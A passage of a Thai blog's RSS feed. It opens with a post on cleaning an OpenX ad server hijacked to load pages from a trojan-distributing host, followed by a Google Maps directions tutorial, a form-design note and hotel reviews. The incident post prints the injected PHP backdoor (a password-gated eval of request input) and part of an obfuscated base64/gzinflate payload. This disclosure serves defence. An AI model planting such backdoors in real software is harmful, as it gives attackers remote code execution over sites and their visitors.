<p>แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่อง<a href="http://www.legitreviews.com/news/7632/">ปัญหาความปลอดภัยของ openx </a>ผมเลยสามารถแก้ปัญหาได้</p>
<p>เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ</p>
<ol>
<li>ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ</li>
<li>files แรก ที่ผมเจอว่ามีปัญหาคือ  ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ<br />
<code><br />
$urlw = "http://stats.ads.is/stats?counter=128";<br />
$asiebc = 'ade93d134c231cea7b0b5619bff4f82f';<br />
if (isset($_GET['dothis']) &amp;&amp; (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);<br />
if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "\n";<br />
}<br />
} elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {<br />
if (!isset($_COOKIE['OADSA'])) {<br />
setcookie("OADSA", 1, time()+3600);<br />
echo "document.write('');\n";<br />
}<br />
}<br />
</code></li>
<li>file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก<br />
<code><br />
if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {<br />
eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM ....</code></li>
<li>พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่</li>
<li>เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ</li>
<li>จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ</li>
</ol>
<p>จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/03/%e0%b9%80%e0%b8%a1%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b9%80%e0%b8%a7%e0%b8%9b-ddproperty-com-%e0%b9%82%e0%b8%94%e0%b8%99%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%b8%e0%b8%a7%e0%b9%88%e0%b8%b2%e0%b9%80%e0%b8%9b/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>การหาเส้นทางโดย Google Maps API (GDirections)</title>
		<link>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/</link>
		<comments>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 06:06:56 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=377</guid>
		<description><![CDATA[เมื่อสองสามวันก่อน มี comment ถามมาว่า &#8220;อยากทราบว่าสามารถทำ google map บอกระยะทางได้ไหมค่ะ เช่น จากกรุงเทพไปเชียงใหม่เป็นระยะทางเท่าไหร่&#8221; ผมก็ตอบไปสั้นๆ วันนี้ขอขยายความเรื่องการหาเส้นทาง และการหาระยะทางจากจุดสองจุดในโดยใช้ Google Maps API ครับ เรื่องนี้เป็นเรื่องที่หลายๆคนสนใจ และเวปใหม่ที่ผมกำลังซุ่มทำอยู่ก็ใช้เยอะมากครับ ใครอ่านภาษาอังกฤษคล่อง และต้องการข้อมูลแบบละเอียด ผมแนะน ลองอ่าน document ของ Google นะครับ http://code.google.com/apis/maps/documentation/services.html#Directions เรามาเริ่มกันเลยดีกว่าครับ อ้อ! วิธีการข้างล่างจะเ็ป็นของ API v2 นะครับ เพราะว่าคนส่วนใหญ่คงยังใช้งาน version 2 กันอยู่ source code ข้างบนผมเอามาจาก Tutorial ของ Google ครับ การใช้ GDirection ง่ายมากครับ โดย code ส่วนที่เกี่ยวข้องจริงๆคือบรรทัดที่ 19-20 directions = new GDirections(map); [...]]]></description>
			<content:encoded><![CDATA[<p>เมื่อสองสามวันก่อน มี comment ถามมาว่า &#8220;<a href="http://www.tanomsak.com/index.php/2008/12/google-maps-tutorial-1/#comment-32125975">อยากทราบว่าสามารถทำ google map บอกระยะทางได้ไหมค่ะ เช่น จากกรุงเทพไปเชียงใหม่เป็นระยะทางเท่าไหร่</a>&#8221; ผมก็ตอบไปสั้นๆ วันนี้ขอขยายความเรื่องการหาเส้นทาง และการหาระยะทางจากจุดสองจุดในโดยใช้ Google Maps API ครับ เรื่องนี้เป็นเรื่องที่หลายๆคนสนใจ และเวปใหม่ที่ผมกำลังซุ่มทำอยู่ก็ใช้เยอะมากครับ</p>
<p>ใครอ่านภาษาอังกฤษคล่อง และต้องการข้อมูลแบบละเอียด ผมแนะน ลองอ่าน document ของ Google นะครับ <a href="http://code.google.com/apis/maps/documentation/services.html#Directions">http://code.google.com/apis/maps/documentation/services.html#Directions</a></p>
<p>เรามาเริ่มกันเลยดีกว่าครับ อ้อ! วิธีการข้างล่างจะเ็ป็นของ API v2 นะครับ เพราะว่าคนส่วนใหญ่คงยังใช้งาน version 2 กันอยู่</p>
<pre class="brush: xml; title: ; notranslate">
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;  xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;Google Maps JavaScript API Example: Simple Directions&lt;/title&gt;
    &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot;/&gt;
    &lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;v=2&amp;amp;key=ABQIAAAAeNsNnRXUdrpgSw3qfvhz5hRHchrjOSPM-moa2HMmJZw-0fE6VhTsARfVd9x1Dg8TowZALqHIOcO20g&quot;
      type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot;&gt;
	// Create a directions object and register a map and DIV to hold the
    // resulting computed directions

    var map;
    var directionsPanel;
    var directions;

    function initialize() {
      map = new GMap2(document.getElementById(&quot;map_canvas&quot;));
      map.setCenter(new GLatLng(13.998, 100.5009), 15);
      directions = new GDirections(map);
      directions.load(&quot;from: 14.068, 100.6009 to: 13.8152, 100.5606&quot;});
   }
  &lt;/script&gt;
  &lt;/head&gt;

  &lt;body onload=&quot;initialize()&quot;&gt;
    &lt;div id=&quot;map_canvas&quot; style=&quot;width: 70%; height: 480px; float:left; border: 1px solid black;&quot;&gt;&lt;/div&gt;
    &lt;br/&gt;
  &lt;/body&gt;
&lt;/html&gt;
</pre>
<p>source code ข้างบนผมเอามาจาก Tutorial ของ Google ครับ การใช้ GDirection ง่ายมากครับ โดย code ส่วนที่เกี่ยวข้องจริงๆคือบรรทัดที่ 19-20<br />
<code><br />
directions = new GDirections(map);<br />
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606");<br />
</code></p>
<p>บรรทัดที่ 19 เป็นการสร้าง GDirections และระบุว่าให้แสดงเส้นทางใบแผนที่ที่เราสร้างไว้ก่อนหน้านี้<br />
บรรทัดที่ 20 เป็นการเรียกใช้บริการหาเส้นทางจาก Google โดยเราระบุ จุดเริ่มต้นกับปลายทาง</p>
<p>การระบุจุดเริ่มต้นกับปลายทาง สามารถระบุเป็ืนชื่อสถานที่ก็ได้นะครับ แต่ผมว่ามันไม่ค่อยแม่นเนื่องจาก Google ต้องตีความสถานที่ก่อน และระบบ reverse-geocode สำหรับของไทยยังไม่สมบูรณ์ครับ</p>
<p>แค่นี้เราก็จะได้เส้นทางเ็ป็น Polyline บนแผนที่ของเราแล้วครับ</p>
<p>ถ้าต้องการให้ มีข้อความบอกเส้นทางด้วย แบบว่า &#8220;ตรงไป 2 กม. แล้วเลี้ยวซ้าย&#8221; ก็ทำได้ง่ายๆครับ โดยสร้าง div สำหรับแสดงผลขึ้นมาแล้วระบุตอน new GDirections แบบนี้ครับ</p>
<p><code><br />
directionsPanel = document.getElementById("route");<br />
directions = new GDirections(map, directionsPanel );<br />
directions.load("from: 14.068, 100.6009 to: 13.8152, 100.5606", {locale: 'th'});<br />
</code></p>
<p>ตรง {locale: &#8216;th&#8217;} เป็นการบอกว่าให้แสดงข้อความเป็นภาษาไทยครับ</p>
<p>ดูตัวอย่างการใช้หาเส้นทางจาก Google Maps API <a href="http://tanomsak.com/tutorial-7.html">http://tanomsak.com/tutorial-7.html</a></p>
<p>Update: ตัวอย่างสำหรับกรณีมีจุดหมายสองจัดครับ <a href="http://tanomsak.com/tutorial-7_1.html">http://tanomsak.com/tutorial-7_1.html</a></p>
<p>Update 2: <a href="http://www.tanomsak.com/index.php/2010/11/draggable-direction/" target="_blank">วิธีการหาเส้นทางแบบเปลี่ยนแปลงเส้นทางได้ โดยใช้ Google Maps API V3</a></p>
<p>ถ้าผมอธิบายตรงไหนไม่เข้าใจ แนะนำได้ใน Comment เหมือนเดิมนะครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/01/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b8%ab%e0%b8%b2%e0%b9%80%e0%b8%aa%e0%b9%89%e0%b8%99%e0%b8%97%e0%b8%b2%e0%b8%87%e0%b9%82%e0%b8%94%e0%b8%a2-google-maps-api-gdirection/feed/</wfw:commentRss>
		<slash:comments>75</slash:comments>
		</item>
		<item>
		<title>Form Design</title>
		<link>http://www.tanomsak.com/index.php/2010/01/form-design/</link>
		<comments>http://www.tanomsak.com/index.php/2010/01/form-design/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 04:26:30 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[Web design]]></category>
		<category><![CDATA[คิดอะไรไปเรื่อยเปื่อย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=365</guid>
		<description><![CDATA[วันนี้จัดการ uninstall โปรแกรม Nokia PC Suite ที่ลงไว้ตอนย้าย Contact จากโทรศัพท์ฺเึครื่องเก่า ทำให้นึกอะไรขึ้นมาได้อย่างนึงคือ install wizard ของ Nokia ใช้งานยากมาก จริงๆรู้สึกตั้งแต่ตอนติดตั้งแล้ว แต่พอ uninstall ทำให้นึกขึ้นมาได้ ลองดูรูปนี้ครับ เข้าใจว่าคงตั้งใจเปลี่ยนปุ่ม &#8220;ตกลง&#8221;,&#8221;ยกเลิก&#8221; ให้สวย โดยแทนที่ด้วยเครื่องหมายถูกผิดแทน ผลคือผมงงมากครับ ไม่รู้จะกดปุ่มไหนดี พอหันขึ้นไปอ่าน คำอธิบายข้างบน ก็อ่้านไม่เข้าใจอีก สุดท้ายเสียเวลาไปหลายนาที การออกแบบ interaction ระหว่างคนกับโปรแกรมสำคัญมากๆ เรื่องเล็กๆน้่อยๆบางเรื่อง อาจทำให้งานง่ายกลายเป็นงานยากได้ครับ @LukeWDesign เขียน &#8220;Web Form Design: Filling in the Blanks&#8221; ไว้ได้มีประโยชน์มากครับ หรือลองอ่าน presentation ของเค้าที่ http://www.lukew.com/ff/entry.asp?964 ดูครับ เอาไว้ปีนี้จะลองหยิบประเด็นเด่นๆในหนังสือมาเล่าให้ฟังนะครับ สลับกับ Google Maps API บ้างเพราะเริ่มหมดมุขแล้วครับ สวัสดีปีใหม่ [...]]]></description>
			<content:encoded><![CDATA[<p>วันนี้จัดการ uninstall โปรแกรม Nokia PC Suite ที่ลงไว้ตอนย้าย Contact จากโทรศัพท์ฺเึครื่องเก่า ทำให้นึกอะไรขึ้นมาได้อย่างนึงคือ install wizard ของ Nokia ใช้งานยากมาก จริงๆรู้สึกตั้งแต่ตอนติดตั้งแล้ว แต่พอ uninstall ทำให้นึกขึ้นมาได้ ลองดูรูปนี้ครับ</p>
<p><a href="http://www.tanomsak.com/wp-content/uploads/2010/01/nokia.png"><img class="aligncenter size-full wp-image-367" title="nokia" src="http://www.tanomsak.com/wp-content/uploads/2010/01/nokia.png" alt="" width="610" /></a></p>
<p style="text-align: center;">
<p>เข้าใจว่าคงตั้งใจเปลี่ยนปุ่ม &#8220;ตกลง&#8221;,&#8221;ยกเลิก&#8221; ให้สวย โดยแทนที่ด้วยเครื่องหมายถูกผิดแทน ผลคือผมงงมากครับ ไม่รู้จะกดปุ่มไหนดี พอหันขึ้นไปอ่าน คำอธิบายข้างบน ก็อ่้านไม่เข้าใจอีก สุดท้ายเสียเวลาไปหลายนาที</p>
<p>การออกแบบ interaction ระหว่างคนกับโปรแกรมสำคัญมากๆ เรื่องเล็กๆน้่อยๆบางเรื่อง อาจทำให้งานง่ายกลายเป็นงานยากได้ครับ</p>
<p><a href="http://twitter.com/LukeWDesign">@LukeWDesign</a> เขียน &#8220;<a href="http://www.lukew.com/resources/web_form_design.asp">Web Form Design: Filling in the Blanks</a>&#8221; ไว้ได้มีประโยชน์มากครับ หรือลองอ่าน presentation ของเค้าที่ <a href="http://www.lukew.com/ff/entry.asp?964">http://www.lukew.com/ff/entry.asp?964</a> ดูครับ</p>
<p>เอาไว้ปีนี้จะลองหยิบประเด็นเด่นๆในหนังสือมาเล่าให้ฟังนะครับ สลับกับ Google Maps API บ้างเพราะเริ่มหมดมุขแล้วครับ</p>
<p>สวัสดีปีใหม่ 2010 ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2010/01/form-design/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>รีวิว The Zign พัทยา</title>
		<link>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/</link>
		<comments>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 10:08:20 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[เที่ยวทั่วไทย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/?p=332</guid>
		<description><![CDATA[เสาร์อาทิตย์นี้มาพักผ่อนที่พัทยากับ @pangporn เลือกมาพักที่ The Zign เพราะโทรไปทีี่อื่นๆ ที่ซื้อไว้ตอนงานไทยเที่ยวไทยแล้วเต็มหมดเลย เลยลองใช้บริการ allresortthailand.com เป็นครั้งแรก ตอนแรกจะเลือกจองห้องแบบถูกที่สุดคือห้องแบบ City View (ราคาในเวป 2,2xx บาท) แต่ระบบแจ้งว่าเต็มเลยได้ห้อง Sea View มาแทนที่ราคา (2,7xx บาท) โรงแรม The Zign อยู่ที่ นาเกลือซอย 12 เข้ามาไม่ไกลก็จะเห็นโรงแรมเพราะว่าใหญ่มาก เรามาถึงโรงแรมตอนบ่ายโมง ทาง reception ก็จัดห้องให้โดยไม่ต้องรอถึงเวลา check-in คือบ่ายสอง แต่งานนี้เปลี่ยนห้องไป 2 ครั้งกว่าจะได้ห้องที่ถูกใจ เพราะว่าสองห้่องแรกอยู่ชั้น 3 เหม็นกลิ่นบุหรี่เลยขอย้าย เค้าก็ช่วยจัดแจงให้อย่่างดี จนได้ห้องชั้น 5 เสียอย่างเดียวชั้น 5 ไม่มี WIFI เพราะ Access Point อยู่ตรงชั้น 3 แต่ก็มี LAN [...]]]></description>
			<content:encoded><![CDATA[<p>เสาร์อาทิตย์นี้มาพักผ่อนที่พัทยากับ <a href="http://www.twitter.com/pangporn">@pangporn</a> เลือกมาพักที่ The Zign เพราะโทรไปทีี่อื่นๆ ที่ซื้อไว้ตอนงานไทยเที่ยวไทยแล้วเต็มหมดเลย เลยลองใช้บริการ allresortthailand.com เป็นครั้งแรก ตอนแรกจะเลือกจองห้องแบบถูกที่สุดคือห้องแบบ City View (ราคาในเวป 2,2xx บาท) แต่ระบบแจ้งว่าเต็มเลยได้ห้อง Sea View มาแทนที่ราคา (2,7xx บาท)</p>
<p>โรงแรม The Zign อยู่ที่ นาเกลือซอย 12 เข้ามาไม่ไกลก็จะเห็นโรงแรมเพราะว่าใหญ่มาก</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6899.JPG" alt="" width="590" /></p>
<p>เรามาถึงโรงแรมตอนบ่ายโมง ทาง reception ก็จัดห้องให้โดยไม่ต้องรอถึงเวลา check-in คือบ่ายสอง แต่งานนี้เปลี่ยนห้องไป 2 ครั้งกว่าจะได้ห้องที่ถูกใจ เพราะว่าสองห้่องแรกอยู่ชั้น 3 เหม็นกลิ่นบุหรี่เลยขอย้าย เค้าก็ช่วยจัดแจงให้อย่่างดี จนได้ห้องชั้น 5 เสียอย่างเดียวชั้น 5 ไม่มี WIFI เพราะ Access Point อยู่ตรงชั้น 3 แต่ก็มี LAN ให้ใช้แทน โดยขอสาย LAN ได้ที่ reception (มัดจำ 100 บาท)</p>
<p>ห้องพักตกแต่งสวยดีเพราะเราย้ายห้องหลายครั้งเลยได้รูปมาให้ดูสองห้องเลยครับ</p>
<p>ห้องแรก อยู่ชั้น 3 ครับ</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6894.JPG" alt="" width="350" /></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6895.JPG" alt="" width="590" /></p>
<p>นี่รูปห้องสุดท้าย อยู่ชั้น 5 สวยไปอีกแบบ</p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6896.JPG" alt="" width="350" /></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6897.JPG" alt="" width="590" /></p>
<p><span style="background-color: #ffffff; ">อันนี้บรรยากาศในห้องชั้น 5 ที่เราได้อยู่</span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/pq9ZCxfTSvk&amp;hl=en_US&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/pq9ZCxfTSvk&amp;hl=en_US&amp;fs=1&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="background-color: #ffffff; ">สระว่ายน้ำมีสองสระ แต่วันที่มากำลังปิดปรับปรุง 1 วัน เลยแน่นไปนิดนึง ส่วนใหญ่แขกเป็นครอบครัว เด็กๆเลยเยอะหน่อย</span></p>
<p><img src="http://www.tanomsak.com/wp-content/uploads/2009/11/DSC_6898.JPG" alt="" width="590" /></p>
<p>อาหารเช้าเป็นแบบ Buffet อาหารเยอะมากๆ แต่คนก็เยอะเหมือนกัน บรรยากาศคล้ายๆ <span style="color: #000000;">ที่ </span><em><span style="color: #000000;">รามายานะ</span></em><span style="color: #000000;"> </span>บุฟเฟ่ต์ เลยแบบว่าแน่นๆ รสชาติอาหารส่วนใหญ่ OK ลองดูรายการอาหารใน video ข้างล่างดูครับ ผมว่าิเยอะว่าที่ Evason หัวหินอีก (แต่คุณภาพไม่เท่า)</p>
<p><span style="background-color: #ffffcc;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="350" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/lTlvMDm3DVI" /><embed type="application/x-shockwave-flash" width="425" height="350" src="http://www.youtube.com/v/lTlvMDm3DVI"></embed></object></span></p>
<p>ก่อนกลับลองถาม Reception ดูเห็นว่าราคาห้องแพงกว่าในเวปอยู่เกือบเท่าตัวครับ ขนาดเป็นราคาที่ลด 40% แล้วก็ตาม เลยคิดว่าวันหลังคงได้ใช้บริการจองจากทางเวปอีก</p>
<p><span style="background-color: #ffffff; ">โดยรวมถือว่าชอบที่นี้ ถึงราคาจะแพงนิดแต่บรรยากาศ OK มาก หวังว่าจะช่วยเพื่อนๆที่คิดจะไปพักที่นี้ตัดสินใจได้นะครับ ใครไปมาแล้วแชร์ให้ฟังกันบ้างนะครับ</span></p>
<p><span style="background-color: #ffffff; ">ปล. สรุปแทบไม่ได้ดูทะเล นอกจากออกมาถ่ายรูปทีี่ระเบียง คราวหลังจอง City View ก็คงไม่ต่างกันเก็บตังไปกินลุงไสวดีกว่า</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/11/%e0%b8%a3%e0%b8%b5%e0%b8%a7%e0%b8%b4%e0%b8%a7-the-zign-%e0%b8%9e%e0%b8%b1%e0%b8%97%e0%b8%a2%e0%b8%b2/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>อาหารเช้าที่ the zign</title>
		<link>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/</link>
		<comments>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/#comments</comments>
		<pubDate>Sun, 15 Nov 2009 01:29:03 +0000</pubDate>
		<dc:creator>tanomsak</dc:creator>
				<category><![CDATA[เที่ยวทั่วไทย]]></category>

		<guid isPermaLink="false">http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/</guid>
		<description><![CDATA[อาหารเช้าอลังการมาก อาหารเยอะ คนก็เยอะ รสชาติถือว่า ok เลย]]></description>
			<content:encoded><![CDATA[<p>อาหารเช้าอลังการมาก อาหารเยอะ คนก็เยอะ รสชาติถือว่า ok เลย</p>
<p style="text-align: center; "><a href="http://www.tanomsak.com/wp-content/uploads/2009/11/p_2048_1536_F8EE81DB-9AFA-4C58-8B75-576FA1BDA943.jpeg"><img class="size-full wp-image-364 aligncenter" src="http://www.tanomsak.com/wp-content/uploads/2009/11/p_2048_1536_F8EE81DB-9AFA-4C58-8B75-576FA1BDA943.jpeg" alt="" width="480" height="640" /></a></p>
<p style="text-align: center; ">
<p style="text-align: center; "><a href="http://www.tanomsak.com/wp-content/uploads/2009/11/l_2048_1536_2127EFFE-C9B5-482B-A6A6-4DC995C16C23.jpeg"><img class="size-full wp-image-364 aligncenter" src="http://www.tanomsak.com/wp-content/uploads/2009/11/l_2048_1536_2127EFFE-C9B5-482B-A6A6-4DC995C16C23.jpeg" alt="" width="640" height="480" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tanomsak.com/index.php/2009/11/%e0%b8%ad%e0%b8%b2%e0%b8%ab%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%8a%e0%b9%89%e0%b8%b2%e0%b8%97%e0%b8%b5%e0%b9%88-the-zign/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

